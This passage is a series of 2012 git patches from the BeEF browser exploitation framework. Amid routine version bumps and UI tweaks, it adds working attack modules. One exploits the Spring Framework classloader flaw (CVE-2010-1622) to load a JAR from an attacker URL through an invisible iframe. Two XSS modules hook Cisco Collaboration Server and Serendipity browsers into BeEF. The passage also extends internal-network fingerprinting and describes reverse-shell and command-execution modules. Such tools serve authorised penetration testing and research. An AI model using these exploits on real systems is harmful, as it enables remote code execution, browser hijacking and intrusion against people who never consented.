"License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Screenshot < BeEF::Core::Command + + def post_execute + content = {} + content['Return'] = @datastore['return'] + save content + end + +end From ece65e9841df4918979a9ddee082e653b1c45d62 Mon Sep 17 00:00:00 2001 From: bmantra Date: Wed, 13 Jun 2012 13:38:20 +0200 Subject: [PATCH 006/225] added fingerprint for Glassfish server --- modules/network/internal_network_fingerprinting/command.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index 71d742f55..ddcd897cd 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -97,7 +97,8 @@ beef.execute(function() { new Array("Zenoss Core",":8080",false,"/zport/dmd/favicon.ico",16,16), new Array("BeEF",":3000",false,"/ui/media/images/beef.png",200,149), new Array("BeEF (PHP)",":80",false,"/beef/images/beef.gif",32,32), - new Array("Wordpress",":80",false,"/wp-includes/images/wpmini-blue.png",16,16) + new Array("Wordpress",":80",false,"/wp-includes/images/wpmini-blue.png",16,16), + new Array("Glassfish Server",":4848",false,"/theme/com/sun/webui/jsf/suntheme/images/login/gradlogsides.jpg", 1, 200) ); // for each ip From 37e42b50d00fce4f55f3b070a1d18e8e57fadfe6 Mon Sep 17 00:00:00 2001 From: Mike Haworth Date: Thu, 14 Jun 2012 06:09:44 +1200 Subject: [PATCH 007/225] Moved screenshot module to correct location --- .../screenshot/command.js | 0 .../screenshot/config.yaml | 0 .../screenshot/module.rb | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename modules/{social_engineering => chrome_extensions}/screenshot/command.js (100%) rename modules/{social_engineering => chrome_extensions}/screenshot/config.yaml (100%) rename modules/{social_engineering => chrome_extensions}/screenshot/module.rb (100%) diff --git a/modules/social_engineering/screenshot/command.js b/modules/chrome_extensions/screenshot/command.js similarity index 100% rename from modules/social_engineering/screenshot/command.js rename to modules/chrome_extensions/screenshot/command.js diff --git a/modules/social_engineering/screenshot/config.yaml b/modules/chrome_extensions/screenshot/config.yaml similarity index 100% rename from modules/social_engineering/screenshot/config.yaml rename to modules/chrome_extensions/screenshot/config.yaml diff --git a/modules/social_engineering/screenshot/module.rb b/modules/chrome_extensions/screenshot/module.rb similarity index 100% rename from modules/social_engineering/screenshot/module.rb rename to modules/chrome_extensions/screenshot/module.rb From aa8e073494ceab3f0b9cb0b901df926cfc8005ed Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Thu, 21 Jun 2012 12:34:26 +0100 Subject: [PATCH 008/225] Changes debug logs in the evasion main class. --- extensions/evasion/evasion.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/extensions/evasion/evasion.rb b/extensions/evasion/evasion.rb index b86cca957..aaf3019d9 100644 --- a/extensions/evasion/evasion.rb +++ b/extensions/evasion/evasion.rb @@ -37,10 +37,10 @@ module BeEF #2. call the "execute" method of the ruby module, passing the input #3. update the input in order that next technique will work on the pre-processed input. if File.exists?("#{$root_dir}/extensions/evasion/obfuscation/#{technique}.rb") - print_debug "[OBFUSCATION] Applying technique [#{technique}]" klass = BeEF::Extension::Evasion.const_get(technique.capitalize).instance is_bootstrap_needed = klass.need_bootstrap if is_bootstrap_needed + print_debug "[OBFUSCATION] Adding bootstrapper for technique [#{technique}]" @bootstrap += klass.get_bootstrap end end From 0a34150cf7e87c2cbc559177b58a3c572b3d63e7 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 22 Jun 2012 21:01:09 +0100 Subject: [PATCH 009/225] Version updated --- VERSION | 2 +- config.yaml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/VERSION b/VERSION index 509c304b2..f9105b3dc 100644 --- a/VERSION +++ b/VERSION @@ -14,4 +14,4 @@ # limitations under the License. # -0.4.3.5-alpha +0.4.3.6-alpha diff --git a/config.yaml b/config.yaml index 41728f809..b9d4f8f08 100644 --- a/config.yaml +++ b/config.yaml @@ -16,7 +16,7 @@ # BeEF Configuration file beef: - version: '0.4.3.5-alpha' + version: '0.4.3.6-alpha' debug: false restrictions: From c4e0ce17c4af254c99d0070a9362778b0436c7d3 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Fri, 22 Jun 2012 21:07:45 +0100 Subject: [PATCH 010/225] Added update file that calls git pull --- update-beef | 4 ++++ 1 file changed, 4 insertions(+) create mode 100755 update-beef diff --git a/update-beef b/update-beef new file mode 100755 index 000000000..2bd8188de --- /dev/null +++ b/update-beef @@ -0,0 +1,4 @@ +#!/bin/sh + +echo Updating... +git pull \ No newline at end of file From 900942f59cb3b1d22b68180f7c323a368b100bd4 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Sat, 23 Jun 2012 09:06:17 +0100 Subject: [PATCH 011/225] Added comment --- update-beef | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/update-beef b/update-beef index 2bd8188de..4524a540f 100755 --- a/update-beef +++ b/update-beef @@ -1,4 +1,19 @@ -#!/bin/sh +#!/bin/bash +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# echo Updating... git pull \ No newline at end of file From 49b85201d0c137c256a731aa47f061d738925386 Mon Sep 17 00:00:00 2001 From: Wade Alcorn Date: Sat, 23 Jun 2012 12:51:20 +0100 Subject: [PATCH 012/225] Changed print_success to print_info --- extensions/proxy/api.rb | 50 ++++++++++++++++++++--------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/extensions/proxy/api.rb b/extensions/proxy/api.rb index 96c67d586..13cf8dadf 100644 --- a/extensions/proxy/api.rb +++ b/extensions/proxy/api.rb @@ -14,33 +14,33 @@ # limitations under the License. # module BeEF -module Extension -module Proxy -module API + module Extension + module Proxy + module API - module RegisterHttpHandler + module RegisterHttpHandler - BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start') - BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') - - def self.pre_http_start(http_hook_server) - config = BeEF::Core::Configuration.instance - Thread.new{ - http_hook_server.semaphore.synchronize{ - BeEF::Extension::Proxy::Proxy.new - } - } - print_success "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}" + BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start') + BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler') + + def self.pre_http_start(http_hook_server) + config = BeEF::Core::Configuration.instance + Thread.new{ + http_hook_server.semaphore.synchronize{ + BeEF::Extension::Proxy::Proxy.new + } + } + print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}" + end + + def self.mount_handler(beef_server) + beef_server.mount('/proxy', BeEF::Extension::Requester::Handler) + end + + end + + + end end - - def self.mount_handler(beef_server) - beef_server.mount('/proxy', BeEF::Extension::Requester::Handler) - end - end - - -end -end -end end From 853b4c5bcb689a956aa50795ffe676ea56ff2d8c Mon Sep 17 00:00:00 2001 From: bcoles Date: Sat, 23 Jun 2012 22:44:34 +0930 Subject: [PATCH 013/225] Added Spring Framework Malicious JAR module Fixes issue #526 --- .../spring_framework_malicious_jar/command.js | 32 +++++++++++++++++++ .../config.yaml | 25 +++++++++++++++ .../spring_framework_malicious_jar/module.rb | 29 +++++++++++++++++ 3 files changed, 86 insertions(+) create mode 100644 modules/exploits/spring_framework_malicious_jar/command.js create mode 100644 modules/exploits/spring_framework_malicious_jar/config.yaml create mode 100644 modules/exploits/spring_framework_malicious_jar/module.rb diff --git a/modules/exploits/spring_framework_malicious_jar/command.js b/modules/exploits/spring_framework_malicious_jar/command.js new file mode 100644 index 000000000..00804c652 --- /dev/null +++ b/modules/exploits/spring_framework_malicious_jar/command.js @@ -0,0 +1,32 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + jar_file = "<%= @jar_file %>"; + form_controller = "<%= @form_controller %>"; + + uri = form_controller+"?class.classLoader.URLs[0]=jar:"+jar_file; + var spring_iframe = beef.dom.createInvisibleIframe(); + spring_iframe.setAttribute('src', uri); + + beef.net.send("<%= @command_url %>", <%= @command_id %>,"result=exploit attempted"); + + cleanup = function() { + document.body.removeChild(spring_iframe); + } + setTimeout("cleanup()", 15000); + +}); diff --git a/modules/exploits/spring_framework_malicious_jar/config.yaml b/modules/exploits/spring_framework_malicious_jar/config.yaml new file mode 100644 index 000000000..87d59d542 --- /dev/null +++ b/modules/exploits/spring_framework_malicious_jar/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + spring_framework_malicious_jar: + enable: true + category: "Exploits" + name: "Spring Framework Malicious Jar" + description: "Execute a malicious JAR file using the Spring Framework 'class.classloader' vulnerability (CVE-2010-1622).
Specify the URL for a form controller on the target and the URL for your malicious JAR file.
For more information see: http://www.exploit-db.com/exploits/13918/

Versions Affected:
3.0.0 to 3.0.2
2.5.0 to 2.5.6.SEC01 (community releases)
2.5.0 to 2.5.7 (subscription customers)" + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/exploits/spring_framework_malicious_jar/module.rb b/modules/exploits/spring_framework_malicious_jar/module.rb new file mode 100644 index 000000000..f1777b7f5 --- /dev/null +++ b/modules/exploits/spring_framework_malicious_jar/module.rb @@ -0,0 +1,29 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Spring_framework_malicious_jar < BeEF::Core::Command + + def self.options + return [ + {'name' => 'form_controller', 'ui_label' => 'Form Controller URL', 'value' => 'http://target/path/to/form/controller'}, + {'name' => 'jar_file', 'ui_label' => 'Malicious JAR file URL', 'value' => 'http://attacker/path/to/attack.jar!/'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From aefc69354835b9ddd7bafeb840a4bb81e2090d6b Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 00:57:01 +0930 Subject: [PATCH 014/225] Added balloon popups to hooked browser tree Part of issue #521 --- .../media/javascript/ui/panel/zombiesTreeList.js | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js index 5537ee34e..247a44fe9 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js +++ b/extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js @@ -36,6 +36,7 @@ zombiesTreeList = function(id) { //the tree node that contains the list of online hooked browsers this.online_hooked_browsers_treenode = this.root.appendChild( new Ext.tree.TreeNode({ + qtip: "Online hooked browsers", text:'Online Browsers', cls:'online-zombies-node', expanded:true @@ -45,6 +46,7 @@ zombiesTreeList = function(id) { //the tree node that contains the list of offline hooked browsers this.offline_hooked_browsers_treenode = this.root.appendChild( new Ext.tree.TreeNode({ + qtip: "Offline hooked browsers", text:'Offline Browsers', cls:'offline-zombies-node', expanded:false @@ -183,7 +185,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { */ addZombie: function(hooked_browser, online, checkbox) { var hb_id, mother_node, node; - + if(online) { hb_id = 'zombie-online-' + hooked_browser.session; mother_node = this.online_hooked_browsers_treenode; @@ -193,7 +195,9 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { } var exists = this.getNodeById(hb_id); if(exists) return; - + + hooked_browser.qtip = hooked_browser.text + ' hooked on ' + hooked_browser.domain + ":" + hooked_browser.port; + //save a new online HB if(online && Ext.pluck(this.online_hooked_browsers_array, 'session').indexOf(hooked_browser.session)==-1) { this.online_hooked_browsers_array.push(hooked_browser); @@ -253,6 +257,7 @@ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { sub_folder_node = new Ext.tree.TreeNode({ id: 'sub-folder-'+folder, text: folder, + qtip: "Browsers hooked on "+folder, checked: ((checkbox) ? false : null), type: this.tree_configuration["sub-branch"] }); From 40f8b528aae1199783da64832ab508c3d7b9f576 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 24 Jun 2012 03:10:54 +0930 Subject: [PATCH 015/225] Moved a few modules from modules/exploits/ to modules/exploits/local_host: activex_command_execution mozilla_nsiprocess_interface window_mail_client_dos java_payload safari_launch_app Added a couple of XSS modules: cisco_collaboration_server_5_xss serendipity_1.6_xss --- .../activex_command_execution/command.js | 0 .../activex_command_execution/config.yaml | 2 +- .../activex_command_execution/module.rb | 0 .../java_payload/AppletReverseTCP-0.2.jar | Bin .../java_payload/AppletReverseTCP-0.3rc1.jar | Bin .../{ => local_host}/java_payload/command.js | 0 .../{ => local_host}/java_payload/config.yaml | 2 +- .../{ => local_host}/java_payload/module.rb | 0 .../mozilla_nsiprocess_interface/command.js | 0 .../mozilla_nsiprocess_interface/config.yaml | 2 +- .../mozilla_nsiprocess_interface/module.rb | 0 .../safari_launch_app/command.js | 0 .../safari_launch_app/config.yaml | 2 +- .../safari_launch_app/module.rb | 0 .../window_mail_client_dos/command.js | 0 .../window_mail_client_dos/config.yaml | 2 +- .../window_mail_client_dos/module.rb | 0 .../command.js | 26 ++++++++++++++ .../config.yaml | 25 +++++++++++++ .../module.rb | 33 ++++++++++++++++++ .../xss/serendipity_1.6_xss/command.js | 26 ++++++++++++++ .../xss/serendipity_1.6_xss/config.yaml | 25 +++++++++++++ .../xss/serendipity_1.6_xss/module.rb | 33 ++++++++++++++++++ 23 files changed, 173 insertions(+), 5 deletions(-) rename modules/exploits/{ => local_host}/activex_command_execution/command.js (100%) rename modules/exploits/{ => local_host}/activex_command_execution/config.yaml (95%) rename modules/exploits/{ => local_host}/activex_command_execution/module.rb (100%) rename modules/exploits/{ => local_host}/java_payload/AppletReverseTCP-0.2.jar (100%) rename modules/exploits/{ => local_host}/java_payload/AppletReverseTCP-0.3rc1.jar (100%) rename modules/exploits/{ => local_host}/java_payload/command.js (100%) rename modules/exploits/{ => local_host}/java_payload/config.yaml (96%) rename modules/exploits/{ => local_host}/java_payload/module.rb (100%) rename modules/exploits/{ => local_host}/mozilla_nsiprocess_interface/command.js (100%) rename modules/exploits/{ => local_host}/mozilla_nsiprocess_interface/config.yaml (96%) rename modules/exploits/{ => local_host}/mozilla_nsiprocess_interface/module.rb (100%) rename modules/exploits/{ => local_host}/safari_launch_app/command.js (100%) rename modules/exploits/{ => local_host}/safari_launch_app/config.yaml (95%) rename modules/exploits/{ => local_host}/safari_launch_app/module.rb (100%) rename modules/exploits/{ => local_host}/window_mail_client_dos/command.js (100%) rename modules/exploits/{ => local_host}/window_mail_client_dos/config.yaml (96%) rename modules/exploits/{ => local_host}/window_mail_client_dos/module.rb (100%) create mode 100644 modules/exploits/xss/cisco_collaboration_server_5_xss/command.js create mode 100644 modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml create mode 100644 modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb create mode 100644 modules/exploits/xss/serendipity_1.6_xss/command.js create mode 100644 modules/exploits/xss/serendipity_1.6_xss/config.yaml create mode 100644 modules/exploits/xss/serendipity_1.6_xss/module.rb diff --git a/modules/exploits/activex_command_execution/command.js b/modules/exploits/local_host/activex_command_execution/command.js similarity index 100% rename from modules/exploits/activex_command_execution/command.js rename to modules/exploits/local_host/activex_command_execution/command.js diff --git a/modules/exploits/activex_command_execution/config.yaml b/modules/exploits/local_host/activex_command_execution/config.yaml similarity index 95% rename from modules/exploits/activex_command_execution/config.yaml rename to modules/exploits/local_host/activex_command_execution/config.yaml index 1e0995937..0a4d45a45 100755 --- a/modules/exploits/activex_command_execution/config.yaml +++ b/modules/exploits/local_host/activex_command_execution/config.yaml @@ -17,7 +17,7 @@ beef: module: activex_command_execution: enable: true - category: "Exploits" + category: ["Exploits", "Local Host"] name: "ActiveX Command Execution" description: "Execute arbitrary commands using the \"WSCRIPT.Shell\" object. The command response is not returned to BeEF.

The browser must have \"Initialize and script ActiveX controls not marked as safe for scripting\" enabled." authors: ["bcoles"] diff --git a/modules/exploits/activex_command_execution/module.rb b/modules/exploits/local_host/activex_command_execution/module.rb similarity index 100% rename from modules/exploits/activex_command_execution/module.rb rename to modules/exploits/local_host/activex_command_execution/module.rb diff --git a/modules/exploits/java_payload/AppletReverseTCP-0.2.jar b/modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar similarity index 100% rename from modules/exploits/java_payload/AppletReverseTCP-0.2.jar rename to modules/exploits/local_host/java_payload/AppletReverseTCP-0.2.jar diff --git a/modules/exploits/java_payload/AppletReverseTCP-0.3rc1.jar b/modules/exploits/local_host/java_payload/AppletReverseTCP-0.3rc1.jar similarity index 100% rename from modules/exploits/java_payload/AppletReverseTCP-0.3rc1.jar rename to modules/exploits/local_host/java_payload/AppletReverseTCP-0.3rc1.jar diff --git a/modules/exploits/java_payload/command.js b/modules/exploits/local_host/java_payload/command.js similarity index 100% rename from modules/exploits/java_payload/command.js rename to modules/exploits/local_host/java_payload/command.js diff --git a/modules/exploits/java_payload/config.yaml b/modules/exploits/local_host/java_payload/config.yaml similarity index 96% rename from modules/exploits/java_payload/config.yaml rename to modules/exploits/local_host/java_payload/config.yaml index 0d58413ba..651dedb7b 100755 --- a/modules/exploits/java_payload/config.yaml +++ b/modules/exploits/local_host/java_payload/config.yaml @@ -17,7 +17,7 @@ beef: module: java_payload: enable: true - category: "Exploits" + category: ["Exploits", "Local Host"] name: "Java Payload" description: "Inject a malicious signed Java Applet (JavaPayload) that connects back to the attacker giving basic shell commands, command exec and wget.

Before launching it, be sure to have the JavaPayload StagerHandler listening,
i.e.: java javapayload.handler.stager.StagerHandler <payload> <IP> <port> -- JSh

Windows Vista is not supported." authors: ["antisnatchor"] diff --git a/modules/exploits/java_payload/module.rb b/modules/exploits/local_host/java_payload/module.rb similarity index 100% rename from modules/exploits/java_payload/module.rb rename to modules/exploits/local_host/java_payload/module.rb diff --git a/modules/exploits/mozilla_nsiprocess_interface/command.js b/modules/exploits/local_host/mozilla_nsiprocess_interface/command.js similarity index 100% rename from modules/exploits/mozilla_nsiprocess_interface/command.js rename to modules/exploits/local_host/mozilla_nsiprocess_interface/command.js diff --git a/modules/exploits/mozilla_nsiprocess_interface/config.yaml b/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml similarity index 96% rename from modules/exploits/mozilla_nsiprocess_interface/config.yaml rename to modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml index 7e1b71cd2..730bb4c79 100644 --- a/modules/exploits/mozilla_nsiprocess_interface/config.yaml +++ b/modules/exploits/local_host/mozilla_nsiprocess_interface/config.yaml @@ -17,7 +17,7 @@ beef: module: mozilla_nsiprocess_interface: enable: false - category: "Exploits" + category: ["Exploits", "Local Host"] name: "Mozilla nsIProcess XPCOM Interface (Windows)" description: "The nsIProcess XPCOM interface represents an executable process. JavaScript code with chrome privileges can use the nsIProcess interface to launch executable files. In this module, nsIProcess is combined with the Windows command prompt cmd.exe

Any XSS injection in a chrome privileged zone (e.g. typically in Firefox extensions) allows this module to execute arbitrary commands on the victim machine." authors: ["wade", "bcoles", "roberto.suggi@security-assessment.com", "nick.freeman@security-assessment.com"] diff --git a/modules/exploits/mozilla_nsiprocess_interface/module.rb b/modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb similarity index 100% rename from modules/exploits/mozilla_nsiprocess_interface/module.rb rename to modules/exploits/local_host/mozilla_nsiprocess_interface/module.rb diff --git a/modules/exploits/safari_launch_app/command.js b/modules/exploits/local_host/safari_launch_app/command.js similarity index 100% rename from modules/exploits/safari_launch_app/command.js rename to modules/exploits/local_host/safari_launch_app/command.js diff --git a/modules/exploits/safari_launch_app/config.yaml b/modules/exploits/local_host/safari_launch_app/config.yaml similarity index 95% rename from modules/exploits/safari_launch_app/config.yaml rename to modules/exploits/local_host/safari_launch_app/config.yaml index ba9de7df2..13200a95d 100755 --- a/modules/exploits/safari_launch_app/config.yaml +++ b/modules/exploits/local_host/safari_launch_app/config.yaml @@ -17,7 +17,7 @@ beef: module: safari_launch_app: enable: true - category: "Exploits" + category: ["Exploits", "Local Host"] name: "Safari Launch App" description: "Launch an application from the victim machine.

See CVE-2011-3230 for more details.

Safari <= 5.1 on OS X is vulnerable. Original discovery by Aaron Sigel." authors: ["antisnatchor"] diff --git a/modules/exploits/safari_launch_app/module.rb b/modules/exploits/local_host/safari_launch_app/module.rb similarity index 100% rename from modules/exploits/safari_launch_app/module.rb rename to modules/exploits/local_host/safari_launch_app/module.rb diff --git a/modules/exploits/window_mail_client_dos/command.js b/modules/exploits/local_host/window_mail_client_dos/command.js similarity index 100% rename from modules/exploits/window_mail_client_dos/command.js rename to modules/exploits/local_host/window_mail_client_dos/command.js diff --git a/modules/exploits/window_mail_client_dos/config.yaml b/modules/exploits/local_host/window_mail_client_dos/config.yaml similarity index 96% rename from modules/exploits/window_mail_client_dos/config.yaml rename to modules/exploits/local_host/window_mail_client_dos/config.yaml index 891f16919..25a643768 100644 --- a/modules/exploits/window_mail_client_dos/config.yaml +++ b/modules/exploits/local_host/window_mail_client_dos/config.yaml @@ -17,7 +17,7 @@ beef: module: windows_mail_client_dos: enable: true - category: "Exploits" + category: ["Exploits", "Local Host"] name: "Windows Mail Client DoS" description: "This module exploits an unhandled exception in Windows Mail to crash the client remotely.

Windows Mail is launched and then crashed if it is not already open. It comes installed by default on Windows Vista (but it's also vulnerable on Windows 7 SP2).

The protocol handler used will be: nntp." authors: ["bcoles"] diff --git a/modules/exploits/window_mail_client_dos/module.rb b/modules/exploits/local_host/window_mail_client_dos/module.rb similarity index 100% rename from modules/exploits/window_mail_client_dos/module.rb rename to modules/exploits/local_host/window_mail_client_dos/module.rb diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js new file mode 100644 index 000000000..81933f79a --- /dev/null +++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/command.js @@ -0,0 +1,26 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var uri = '<%= @uri.gsub(/'/, "\\'") %>'; + + var cisco_collaboration_iframe = beef.dom.createInvisibleIframe(); + cisco_collaboration_iframe.setAttribute('src', uri); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + +}); + diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml b/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml new file mode 100644 index 000000000..3320a74f6 --- /dev/null +++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + cisco_collaboration_server_5_xss: + enable: true + category: ["Exploits", "XSS"] + name: "Cisco Collaboration Server 5 XSS" + description: "Attempts to hook Cisco Collaboration Server 5 using XSS.
For more information see: http://www.exploit-db.com/exploits/11403/" + authors: ["bcoles", "s4squatch"] + target: + working: ["ALL"] diff --git a/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb new file mode 100644 index 000000000..f0e42f7df --- /dev/null +++ b/modules/exploits/xss/cisco_collaboration_server_5_xss/module.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Cisco_collaboration_server_5_xss < BeEF::Core::Command + + def self.options + + configuration = BeEF::Core::Configuration.instance + hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/hook.js" + + return [ + {'name' => 'uri', 'ui_label' => 'Target URL', 'value' => 'http://target/webline/html/admin/wcs/LoginPage.jhtml?oper=&dest=">'} + ] + + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end diff --git a/modules/exploits/xss/serendipity_1.6_xss/command.js b/modules/exploits/xss/serendipity_1.6_xss/command.js new file mode 100644 index 000000000..a20ff5bbb --- /dev/null +++ b/modules/exploits/xss/serendipity_1.6_xss/command.js @@ -0,0 +1,26 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var uri = '<%= @uri.gsub(/'/, "\\'") %>'; + + var serendipity_iframe = beef.dom.createInvisibleIframe(); + serendipity_iframe.setAttribute('src', uri); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted"); + +}); + diff --git a/modules/exploits/xss/serendipity_1.6_xss/config.yaml b/modules/exploits/xss/serendipity_1.6_xss/config.yaml new file mode 100644 index 000000000..96d9e9bb2 --- /dev/null +++ b/modules/exploits/xss/serendipity_1.6_xss/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + serendipity_1_6_xss: + enable: true + category: ["Exploits", "XSS"] + name: "Serendipity <= 1.6 XSS" + description: "Attempts to hook Serendipity <= 1.6 using XSS.
